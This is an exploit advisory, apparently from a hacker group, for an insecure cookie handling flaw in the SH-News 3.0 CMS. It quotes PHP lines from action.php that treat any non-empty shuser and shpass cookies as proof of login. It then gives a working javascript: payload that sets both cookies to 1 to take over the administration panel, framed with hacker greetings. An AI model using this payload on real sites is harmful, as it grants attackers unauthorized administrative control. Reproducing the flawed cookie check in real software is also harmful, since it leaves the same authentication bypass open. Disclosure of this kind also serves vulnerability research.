######################################################################## # # # ...:::::SH-News 3.0 Insecure Cookie Handling Vulnerability ::::.... # ######################################################################## Virangar Security Team www.virangar.net www.virangar.ir -------- Discoverd By :virangar security team(hadihadi) special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hackerz greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) ------- vuln code in action.php: line 66: $shuser = $HTTP_COOKIE_VARS[shuser]; line 67: $shpass = $HTTP_COOKIE_VARS[shpass]; ... line 69: if((!$shuser) || (!$shpass)) { header("Location: login.php"); } --- exploit: javascript:document.cookie = "shuser=1; path=/"; document.cookie = "shpass=1; path=/"; ----- now you can access to action.php whit admin access and manage the cms ;) ------- young iranian h4ck3rz